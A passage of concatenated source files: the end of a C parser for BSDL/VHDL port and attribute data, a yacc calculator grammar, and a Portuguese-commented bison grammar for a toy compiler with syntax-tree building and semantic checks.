BSDL_MSG_FATAL, _("Out of memory, %s line %i\n"), __FILE__, __LINE__ );
}
/*****************************************************************************
* void vhdl_port_add_bit( vhdl_parser_priv_t *priv )
* Port name management function
*
* Sets the vector and index fields of the temporary storage area for port
* description (port_desc) to non-vector information. The low and high indice
* are set to equal numbers (exact value is irrelevant).
*
* Parameters
* priv : private data container for parser related tasks
*
* Returns
* void
****************************************************************************/
static void vhdl_port_add_bit( vhdl_parser_priv_t *priv )
{
port_desc_t *pd = &(priv->tmp_port_desc);
pd->is_vector = 0;
pd->low_idx = 0;
pd->high_idx = 0;
}
/*****************************************************************************
* void vhdl_port_add_range( vhdl_parser_priv_t *priv, int low, int high )
* Port name management function
*
* Sets the vector and index fields of the temporary storage area for port
* description (port_desc) to the specified vector information.
*
* Parameters
* priv : private data container for parser related tasks
* low : low index of vector
* high : high index of vector
*
* Returns
* void
****************************************************************************/
static void vhdl_port_add_range( vhdl_parser_priv_t *priv, int low, int high )
{
port_desc_t *pd = &(priv->tmp_port_desc);
pd->is_vector = 1;
pd->low_idx = low;
pd->high_idx = high;
}
/*****************************************************************************
* void vhdl_port_apply_port( vhdl_parser_priv_t *priv )
* Port name management function
*
* Applies the current temporary port description to the final list
* of port descriptions.
*
* Parameters
* priv : private data container for parser related tasks
*
* Returns
* void
****************************************************************************/
static void vhdl_port_apply_port( vhdl_parser_priv_t *priv )
{
port_desc_t *tmp_pd = &(priv->tmp_port_desc);
port_desc_t *pd = (port_desc_t *)malloc( sizeof( port_desc_t ) );
if (pd)
{
/* insert at top of list */
pd->next = priv->jtag_ctrl->port_desc;
priv->jtag_ctrl->port_desc = pd;
/* copy information from temporary port descriptor */
pd->names_list = tmp_pd->names_list;
pd->is_vector = tmp_pd->is_vector;
pd->low_idx = tmp_pd->low_idx;
pd->high_idx = tmp_pd->high_idx;
/* and reset temporary port descriptor */
tmp_pd->names_list = NULL;
tmp_pd->next = NULL;
}
else
bsdl_msg( priv->jtag_ctrl->proc_mode,
BSDL_MSG_FATAL, _("Out of memory, %s line %i\n"), __FILE__, __LINE__ );
}
static void add_elem( vhdl_parser_priv_t *priv, vhdl_elem_t *el )
{
jtag_ctrl_t *jc = priv->jtag_ctrl;
el->next = NULL;
if (jc->vhdl_elem_last)
jc->vhdl_elem_last->next = el;
jc->vhdl_elem_last = el;
if (!jc->vhdl_elem_first)
jc->vhdl_elem_first = el;
el->line = vhdl_flex_get_lineno( priv->scanner );
}
#if 0
static void set_attr_bool( vhdl_parser_priv_t *priv, char *name, int value )
{
vhdl_elem_t *el = (vhdl_elem_t *)malloc( sizeof( vhdl_elem_t ) );
if (el)
{
el->type = VET_ATTRIBUTE_BOOL;
el->name = name;
el->payload.bool = value;
add_elem( priv, el );
}
else
bsdl_msg( BSDL_MSG_FATAL, _("Out of memory, %s line %i\n"), __FILE__, __LINE__ );
}
#endif
static void set_attr_decimal( vhdl_parser_priv_t *priv, char *name, int value )
{
vhdl_elem_t *el = (vhdl_elem_t *)malloc( sizeof( vhdl_elem_t ) );
char *string = (char *)malloc( 10 );
if (el && string)
{
el->type = VET_ATTRIBUTE_DECIMAL;
el->name = name;
snprintf( string, 10, "%d", value );
el->payload = string;
add_elem( priv, el );
}
else
bsdl_msg( priv->jtag_ctrl->proc_mode,
BSDL_MSG_FATAL, _("Out of memory, %s line %i\n"), __FILE__, __LINE__ );
}
static void set_attr_string( vhdl_parser_priv_t *priv, char *name, char *string )
{
vhdl_elem_t *el = (vhdl_elem_t *)malloc( sizeof( vhdl_elem_t ) );
/* skip certain attributes */
if ( (strcasecmp( name, "DESIGN_WARNING" ) == 0)
|| (strcasecmp( name, "BOUNDARY_CELLS" ) == 0)
|| (strcasecmp( name, "INSTRUCTION_SEQUENCE" ) == 0)
|| (strcasecmp( name, "INSTRUCTION_USAGE" ) == 0)
|| (strcasecmp( name, "ISC_DESIGN_WARNING" ) == 0))
{
free( name );
free( string );
free( el );
return;
}
if (el)
{
el->type = VET_ATTRIBUTE_STRING;
el->name = name;
el->payload = string;
add_elem(priv, el);
}
else
bsdl_msg( priv->jtag_ctrl->proc_mode,
BSDL_MSG_FATAL, _("Out of memory, %s line %i\n"), __FILE__, __LINE__ );
}
#if 0
static void set_attr_real( vhdl_parser_priv_t *priv, char *name, char *string )
{
vhdl_elem_t *el = (vhdl_elem_t *)malloc( sizeof( vhdl_elem_t ) );
if (el)
{
el->type = VET_ATTRIBUTE_REAL;
el->name = name;
el->payload.real = string;
add_elem( priv, el );
}
else
bsdl_msg( BSDL_MSG_FATAL, _("Out of memory, %s line %i\n"), __FILE__, __LINE__ );
}
#endif
#if 0
static void set_attr_const( vhdl_parser_priv_t *priv, char *name, char *string )
{
vhdl_elem_t *el = (vhdl_elem_t *)malloc( sizeof( vhdl_elem_t ) );
if (el)
{
el->type = VET_CONSTANT;
el->name = name;
el->payload = string;
add_elem( priv, el );
}
else
bsdl_msg( BSDL_MSG_FATAL, _("Out of memory, %s line %i\n"), __FILE__, __LINE__ );
}
#endif
/*
Local Variables:
mode:C
c-default-style:gnu
indent-tabs-mode:nil
End:
*/
|
%{
#define YYSTYPE double /* data type of yacc stack */
#include <stdio.h>
#include <ctype.h>
#include <math.h>
int yylex();
int yyerror(const char * s);
%}
%token NUMBER
%left '+' '-' /* left associative, same precedence */
%left '*' '/' '%' /* left assoc., higher precedence */
%left UNARYMINUS
%%
list: /* nothing */
| list '\n'
| list expr '\n' { printf("%lf\n", $2); }
;
expr: NUMBER { $$ = $1; }
| expr '+' expr { $$ = $1 + $3; }
| expr '-' expr { $$ = $1 - $3; }
| expr '*' expr { $$ = $1 * $3; }
| expr '/' expr { $$ = $1 / $3; }
| expr '%' expr { $$ = fmod($1, $3); }
| '-' expr %prec UNARYMINUS { $$ = -$2; }
| '(' expr ')' { $$ = $2; }
;
%%
int lineno = 1;
int main(int argc, char** argv)
{
yyparse();
return 0;
}
int yylex()
{
int c;
do {
c = getchar();
} while (c == ' ' || c == '\t');
if (c == EOF)
return 0;
if (c == '.' || isdigit(c)) {
ungetc(c, stdin);
scanf("%lf", &yylval);
return NUMBER;
}
if (c == '\n')
lineno++;
return c;
}
int yyerror(const char* s)
{
fprintf(stderr, "Error occured near line %d\n", lineno);
return 0;
}
|
%{
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "estruturas.h"
#include "semantica.h"
/*define o tipo de informação que vamos passar pra ele:*/
// #define YYSTYPE double
/*geramos esta funcao com o flex, que eh padrao*/
extern int yylex();
extern int parse_multiple_line_comments();
extern int parse_single_line_comments();
extern int parse_string();
extern int g_line_counter;
extern int g_symbol_table_size;
extern char g_current_scope[255];
extern symbol_table_struct *g_symbol_table_first_line;
extern char g_expression_type[255];
// protótipos de funções
void printSymbolTable();
void addSymbolTableLine(data_for_the_symbol_table*);
void setCurrentScope(const char*);
NODE * addTreeNode(description_and_value_data_for_the_tree*);
void addNodeToListOfNodeBrothers(NODE*, NODE*);
void addChildToTreeNode(NODE*, NODE*);
void setValueInSymbolTableEntry(char *);
void printSyntaxTree(NODE* root, int identation_counter);
void setLastValueByIdentifierName(char *);
void yyerror (char const *s); /* -> função de tratamento de erros do bison */
// variáveis globais
symbol_table_struct* g_symbol_table_current_line;
char g_last_value_from_st_entry [255];
description_and_value_data_for_the_tree *g_desc_and_val;
data_for_the_symbol_table *g_symbol_data;
int g_syntax_error_flag = 0;
char g_temp[20];
%}
%union {
int int_value;
char str_value[255];
char char_value;
struct tree_node_struct *NODE;
}
%define parse.error verbose
%token <char_value> OPERATOR
%token <str_value> Identifier
%token IF
%token ELSE
%token WHILE
%token INT
%token <str_value> NUMBER
%token STRING
%token <str_value> TEXT
%token VOID
%token RETURN
%token '('
%token ')'
%token '{'
%token '}'
%token ','
%token ';'
%token '='
%token '*'
%token '/'
%token '+'
%token '-'
%token '.'
%token ':'
%token EqualTo
%token LessThan
%token GreaterThan
%token LessThanOrEqualTo
%token GreaterThanOrEqualTo
%token NotEqualTo
%start Begin
%type <NODE> Begin
%type <NODE> Function
%type <NODE> Type
%type <NODE> CompoundStmt
%type <NODE> StmtList
%type <NODE> FormalArgList
%type <NODE> FormalArg
%type <NODE> Stmt
%type <NODE> WhileStmt
%type <NODE> Declaration
%type <NODE> Expr
%type <NODE> BooleanExpr
%type <NODE> IfStmt
%type <NODE> ReturnStmt
%type <NODE> ArgList
%type <NODE> Arg
%type <NODE> Attribution
%type <NODE> Rvalue
%type <NODE> Compare
%type <NODE> Addition
%type <NODE> Multiplication
%type <NODE> Term
%type <NODE> Factor
%type <NODE> FunctionCall
%type <NODE> StringConcat
%type <NODE> RETURN
%nonassoc IFX
%nonassoc ELSE
%% /* Regras Gramaticais */
/* aqui começa nossa gramática , uma palavra válida é zero ou mais linhas de
entrada */
/* define recursivamente as possíveis expressões */
Begin : Function
{
strcpy(g_desc_and_val->description, "CStr");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$, $1);
if(!isMainFunctionPresent())
{
printf("ERRO SEMANTICO! A funcao main nao existe.\n");
g_syntax_error_flag = 1;
}
if (g_syntax_error_flag == 0)
{
printf("\nArvore sintatica:\n");
printSyntaxTree($$,0);
printSymbolTable();
}
};
Function : Type Identifier '(' {setCurrentScope($2);} FormalArgList ')' CompoundStmt
{
strcpy(g_desc_and_val->description, "Function");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
strcpy(g_desc_and_val->description, "Identifier");
strcpy(g_desc_and_val->value, $2);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_desc_and_val->description, "(");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$5);
strcpy(g_desc_and_val->description, ")");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$7);
setCurrentScope("GLOBAL");
strcpy(g_symbol_data->name, $2);
strcpy(g_symbol_data->type, $1->child->description);
strcpy(g_symbol_data->category, "FUNCTION");
g_symbol_data->isFormalArg = 0;
if(!verifyDuplicateFunction(g_symbol_data))
addSymbolTableLine(g_symbol_data);
else
{
printf("Line %d: ERRO SEMANTICO! A funcao '%s' ja existe.\n", g_line_counter, $2);
g_syntax_error_flag = 1;
}
checkReturnStatementsTypes($1->child->description, $2);
if (!recursivelyLookForReturnInCompoundStmt($7))
{
printf("Line %d: ERRO SEMANTICO! A funcao '%s' pode ter um ramo sem return statement (control reaches end of non-void function).\n", g_line_counter, $2);
g_syntax_error_flag = 1;
}
// o escopo passa a ser o da função inserida:
setCurrentScope($2);
}
| Function Type Identifier '(' {setCurrentScope($3);} FormalArgList ')' CompoundStmt
{
strcpy(g_desc_and_val->description, "Function");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
addChildToTreeNode($$,$2);
strcpy(g_desc_and_val->description, "Identifier");
strcpy(g_desc_and_val->value, $3);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_desc_and_val->description, "(");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$6);
strcpy(g_desc_and_val->description, ")");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$8);
setCurrentScope("GLOBAL");
strcpy(g_symbol_data->name, $3);
strcpy(g_symbol_data->type, $2->child->description);
strcpy(g_symbol_data->category, "FUNCTION");
g_symbol_data->isFormalArg = 0;
if(!verifyDuplicateFunction(g_symbol_data))
addSymbolTableLine(g_symbol_data);
else
{
printf("Line %d: ERRO SEMANTICO! A funcao '%s' ja existe.\n", g_line_counter, $3);
g_syntax_error_flag = 1;
}
checkReturnStatementsTypes($2->child->description, $3);
if (!recursivelyLookForReturnInCompoundStmt($8))
{
printf("Line %d: ERRO SEMANTICO! A funcao '%s' pode ter um ramo sem return statement (control reaches end of non-void function).\n", g_line_counter, $3);
g_syntax_error_flag = 1;
}
// o escopo passa a ser o da função inserida:
setCurrentScope($3);
}
| error '}'
{
strcpy(g_desc_and_val->description, "SYNTAX ERROR");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,NULL);
g_syntax_error_flag = 1;
};
FormalArgList : /*empty*/
{
strcpy(g_desc_and_val->description, "FormalArgList");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,NULL);
}
| FormalArg
{
strcpy(g_desc_and_val->description, "FormalArgList");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
}
| FormalArgList ',' FormalArg
{
strcpy(g_desc_and_val->description, "FormalArgList");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
strcpy(g_desc_and_val->description, ",");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$3);
};
FormalArg : Type Identifier
{
strcpy(g_desc_and_val->description, "FormalArg");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
strcpy(g_desc_and_val->description, "Identifier");
strcpy(g_desc_and_val->value, $2);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_symbol_data->name, $2);
strcpy(g_symbol_data->type, $1->child->description);
strcpy(g_symbol_data->category, "VARIABLE");
g_symbol_data->isFormalArg = 1;
addSymbolTableLine(g_symbol_data);
};
ArgList : /*empty*/
{
strcpy(g_desc_and_val->description, "ArgList");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,NULL);
}
| Arg
{
strcpy(g_desc_and_val->description, "ArgList");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
}
| ArgList ',' Arg
{
strcpy(g_desc_and_val->description, "ArgList");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
strcpy(g_desc_and_val->description, ",");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$3);
};
Arg : Factor
{
strcpy(g_desc_and_val->description, "Arg");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
}
| FunctionCall
{
strcpy(g_desc_and_val->description, "Arg");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
}
| StringConcat
{
strcpy(g_desc_and_val->description, "Arg");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
};
Declaration : Type Identifier
{
strcpy(g_desc_and_val->description, "Declaration");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
strcpy(g_desc_and_val->description, "Identifier");
strcpy(g_desc_and_val->value, $2);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_symbol_data->name, $2);
strcpy(g_symbol_data->type, $1->child->description);
strcpy(g_symbol_data->category, "VARIABLE");
g_symbol_data->isFormalArg = 0;
if( !verifyDuplicateVariable(g_symbol_data, g_current_scope) )
addSymbolTableLine(g_symbol_data);
else
{
printf("Line %d: ERRO SEMANTICO! A variavel '%s' ja foi declarada.\n", g_line_counter, $2);
g_syntax_error_flag = 1;
}
}
| Type Attribution
{
strcpy(g_desc_and_val->description, "Declaration");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
addChildToTreeNode($$,$2);
strcpy(g_symbol_data->name, $2->child->value);
strcpy(g_symbol_data->type, $1->child->description);
strcpy(g_symbol_data->category, "VARIABLE");
g_symbol_data->isFormalArg = 0;
if( !verifyDuplicateVariable(g_symbol_data, g_current_scope) )
{
addSymbolTableLine(g_symbol_data);
if (0 != strcmp($1->child->description, g_expression_type))
{
printf("Line %d: ERRO SEMANTICO! A variavel '%s' foi declarada como '%s', porem tentou-se atribuir a ela algo do tipo '%s'.\n", g_line_counter, $2->child->value, $1->child->description, g_expression_type);
g_syntax_error_flag = 1;
}
}
else
{
printf("Line %d: ERRO SEMANTICO! A variavel '%s' ja foi declarada.\n", g_line_counter, $2->child->value);
g_syntax_error_flag = 1;
}
setValueInSymbolTableEntry($2->child->value);
};
Type : INT
{
strcpy(g_desc_and_val->description, "Type");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "INT");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
}
| STRING
{
strcpy(g_desc_and_val->description, "Type");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "STRING");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
};
CompoundStmt : '{' StmtList '}'
{
strcpy(g_desc_and_val->description, "CompoundStmt");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "{");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$2);
strcpy(g_desc_and_val->description, "}");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
}
| error '}'
{
strcpy(g_desc_and_val->description, "SYNTAX ERROR");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,NULL);
g_syntax_error_flag = 1;
};
StmtList : StmtList Stmt
{
strcpy(g_desc_and_val->description, "StmtList");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
addChildToTreeNode($$,$2);
}
|/*empty*/
{
strcpy(g_desc_and_val->description, "StmtList");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,NULL);
};
Stmt : WhileStmt
{
strcpy(g_desc_and_val->description, "Stmt");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
}
| IfStmt
{
strcpy(g_desc_and_val->description, "Stmt");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
}
| Declaration ';'
{
strcpy(g_desc_and_val->description, "Stmt");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
strcpy(g_desc_and_val->description, ";");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
}
| Expr ';'
{
strcpy(g_desc_and_val->description, "Stmt");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
strcpy(g_desc_and_val->description, ";");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
}
| CompoundStmt
{
strcpy(g_desc_and_val->description, "Stmt");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
}
| ReturnStmt ';'
{
strcpy(g_desc_and_val->description, "Stmt");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
strcpy(g_desc_and_val->description, ";");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
}
| error ';'
{
strcpy(g_desc_and_val->description, "SYNTAX ERROR");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,NULL);
g_syntax_error_flag = 1;
}
| error '{'
{
strcpy(g_desc_and_val->description, "SYNTAX ERROR");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,NULL);
g_syntax_error_flag = 1;
};
WhileStmt : WHILE '(' BooleanExpr ')' CompoundStmt
{
strcpy(g_desc_and_val->description, "WhileStmt");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "WHILE");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_desc_and_val->description, "(");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$3);
strcpy(g_desc_and_val->description, ")");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$5);
};
IfStmt : IF '(' BooleanExpr ')' CompoundStmt %prec IFX
{
strcpy(g_desc_and_val->description, "IfStmt");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "IF");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_desc_and_val->description, "(");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$3);
strcpy(g_desc_and_val->description, ")");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$5);
}
| IF '(' BooleanExpr ')' CompoundStmt ELSE CompoundStmt
{
strcpy(g_desc_and_val->description, "IfStmt");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "IF");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_desc_and_val->description, "(");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$3);
strcpy(g_desc_and_val->description, ")");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$5);
strcpy(g_desc_and_val->description, "ELSE");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$7);
};
ReturnStmt : RETURN Expr
{
strcpy(g_desc_and_val->description, "ReturnStmt");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "RETURN");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$2);
saveReturnStmtType($$);
};
Expr : Rvalue
{
strcpy(g_desc_and_val->description, "Expr");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
saveExpressionType($1);
}
| Attribution
{
strcpy(g_desc_and_val->description, "Expr");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
identifierSemanticCheck($1->child->value, "VARIABLE", g_current_scope);
saveExpressionType($1);
strcpy(g_temp, getTypeFromTSByIdentifier($1->child->value,"VARIABLE", g_current_scope));
if (0 != strcmp(strToUpper(g_expression_type), strToUpper(g_temp)))
{
printf("Line %d: ERRO SEMANTICO! A variavel '%s' tem tipo '%s', porem '%s' tentou ser atribuido a ela.\n", g_line_counter, $1->child->value, getTypeFromTSByIdentifier($1->child->value,"VARIABLE", g_current_scope), g_expression_type);
g_syntax_error_flag = 1;
}
}
| FunctionCall
{
strcpy(g_desc_and_val->description, "Expr");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
saveExpressionType($1);
}
| StringConcat
{
strcpy(g_desc_and_val->description, "Expr");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
saveExpressionType($1);
};
BooleanExpr : Rvalue
{
strcpy(g_desc_and_val->description, "Expr");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
saveExpressionType($1);
if (0 != strcmp(strToUpper(g_expression_type), "INT"))
{
printf("Line %d: ERRO SEMANTICO! Expressoes de condicionais devem ser resolvidas ao tipo 'int'.\n", g_line_counter);
g_syntax_error_flag = 1;
}
}
| Attribution
{
strcpy(g_desc_and_val->description, "Expr");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
identifierSemanticCheck($1->child->value, "VARIABLE", g_current_scope);
// printSyntaxTree($1,1);
saveExpressionType($1);
printf("Line %d: ERRO SEMANTICO! Nao sao permitidas atribuicoes em expressoes de condicionais.\n", g_line_counter);
g_syntax_error_flag = 1;
}
| FunctionCall
{
strcpy(g_desc_and_val->description, "Expr");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
saveExpressionType($1);
if (0 != strcmp(strToUpper(g_expression_type), "INT"))
{
printf("Line %d: ERRO SEMANTICO! Expressoes de condicionais devem ser resolvidas ao tipo 'int'.\n", g_line_counter);
g_syntax_error_flag = 1;
}
}
| StringConcat
{
strcpy(g_desc_and_val->description, "Expr");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
saveExpressionType($1);
printf("Line %d: ERRO SEMANTICO! Nao sao permitidas concatenacoes de strings em expressoes de condicionais.\n", g_line_counter);
g_syntax_error_flag = 1;
};
Attribution : Identifier '=' Expr
{
strcpy(g_desc_and_val->description, "Attribution");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "Identifier");
strcpy(g_desc_and_val->value, $1);
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
strcpy(g_desc_and_val->description, "=");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$3);
};
Rvalue : Rvalue Compare Addition
{
strcpy(g_desc_and_val->description, "Rvalue");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
addChildToTreeNode($$,$2);
addChildToTreeNode($$,$3);
}
| Addition
{
strcpy(g_desc_and_val->description, "Rvalue");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
};
Compare : EqualTo
{
strcpy(g_desc_and_val->description, "Compare");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "==");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
}
| LessThan
{
strcpy(g_desc_and_val->description, "Compare");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "<");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
}
| GreaterThan
{
strcpy(g_desc_and_val->description, "Compare");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, ">");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
}
| LessThanOrEqualTo
{
strcpy(g_desc_and_val->description, "Compare");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "<=");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
}
| GreaterThanOrEqualTo
{
strcpy(g_desc_and_val->description, "Compare");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, ">=");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
}
| NotEqualTo
{
strcpy(g_desc_and_val->description, "Compare");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
strcpy(g_desc_and_val->description, "!=");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
};
Addition : Addition '+' Multiplication
{
strcpy(g_desc_and_val->description, "Addition");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
strcpy(g_desc_and_val->description, "+");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$3);
}
| Addition '-' Multiplication
{
strcpy(g_desc_and_val->description, "Addition");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
strcpy(g_desc_and_val->description, "-");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$3);
}
| Multiplication
{
strcpy(g_desc_and_val->description, "Addition");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
};
Multiplication : Multiplication '*' Factor
{
strcpy(g_desc_and_val->description, "Multiplication");
strcpy(g_desc_and_val->value, "");
$$ = addTreeNode(g_desc_and_val);
addChildToTreeNode($$,$1);
strcpy(g_desc_and_val->description, "*");
strcpy(g_desc_and_val->value, "");
addChildToTreeNode($$,addTreeNode(g_desc_and_val));
addChildToTreeNode($$,$3);
}
| Multiplication '/' Factor
{
strcpy(g_desc_and_val->description, "Multiplication");
strcpy(g_desc_and_val->value, "");
